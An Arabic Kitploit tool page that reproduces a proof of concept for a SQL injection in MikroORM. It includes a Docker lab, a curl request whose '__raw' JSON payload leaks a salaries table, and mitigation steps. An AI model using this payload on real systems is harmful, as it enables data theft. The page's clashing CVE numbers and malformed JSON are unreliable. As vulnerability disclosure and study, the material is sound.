Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-34220 — ثغرة حقن SQL في MikroORM | Kitploit
أدوات/GitHubGitHub/eqstlab/cve-2026-34220
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمأمن قواعد البيانات
GitHubeqstlab/cve-2026-34220

CVE-2026-34220

ثغرة حقن SQL في MikroORM

عرض المستودع
19منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-43220 حقن SQL في MikroORM

★ إثبات مفهوم حقن SQL في MikroORM CVE-2026-43220 ★

https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1


نظرة عامة

CVE-2026-43220 هو ثغرة حقن SQL في MikroORM، وهو إطار عمل ORM شائع الاستخدام في TypeScript/Node.js.
عندما يتم تمرير قيمة مقدمة من المستخدم تحتوي على خاصية __raw إلى عمود Custom Type دون التحقق منها، يتعرف فحص isRaw() في MikroORM عليها كتعبير Raw SQL داخلي موثوق ويُدرج قيمة sql التي يتحكم بها المهاجم مباشرةً في الاستعلام المُولَّد دون تحويل النوع أو تعقيمه، مما يؤدي إلى تنفيذ غير مقصود لأوامر SQL عشوائية.


الإصدارات المتأثرة

الفئةالإصدار
معرّض للثغرةMikroORM الإصدار ≤ 6.4.3 و 7.0.0 ≤ الإصدار ≤ 7.0.5
مُصحَّحMikroORM 6.4.4 و 7.0.6

التأثير

  • تسريب بيانات حساسة من قاعدة البيانات دون تصريح
  • إفساد أو تعديل غير مقصود لسجلات قاعدة البيانات الموجودة

البيئة

root@kitploit:~
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln

إثبات المفهوم

بعد تشغيل البيئة المعرّضة للثغرة، اتبع الخطوات أدناه لإعادة إنتاج الهجوم.

الخطوة 1. إرسال طلب يحتوي على حمولة خبيثة تتضمن __raw

أرسل جسم JSON يتضمن خاصية __raw تستهدف عمود Custom Type.

root@kitploit:~
curl -X POST http://localhost:3000/write \
  -H "Content-Type: application/json" \
  -d '{
    "author":"x",
    "title":"x,
    "content": {
      "__raw": true,
      "sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
    }
  }'

الخطوة 2. التحقق من استجابة HTTP

تحقق من أن واجهة API تُرجع استجابة ناجحة دون أي خطأ، مما يشير إلى أن MikroORM قبلت الحمولة الخبيثة كقيمة صالحة.

الخطوة 3. تأكيد تسريب البيانات الحساسة إلى محتوى المنشور

تحقق من أن حقل content للمنشور المُنشأ يحتوي على نتيجة الاستعلام من جدول salaries (على سبيل المثال، Alice: 5000 / Bob: 7000 / ...)، مما يؤكد أن بيانات من جدول غير ذي صلة قد تم تضمينها بصمت في الاستجابة دون أي خطأ أو انتهاك لضوابط الوصول.


التخفيف

  • الترقية إلى MikroORM 6.4.4 أو أحدث، والذي يقدم التحقق من المصدر في isRaw() لرفض خصائص __raw المقدمة من الخارج
  • تطبيق التحقق من المدخلات القائم على القائمة البيضاء لرفض الخصائص غير المتوقعة مثل __raw قبل تمرير القيم إلى طبقة ORM

التحليل

  • KR: https://www.skshieldus.com/security-insights/reports/eqst-orm-injection-explained
  • EN: https://www.skshieldus.com/en/report?tab=eqst
تنزيل الأداة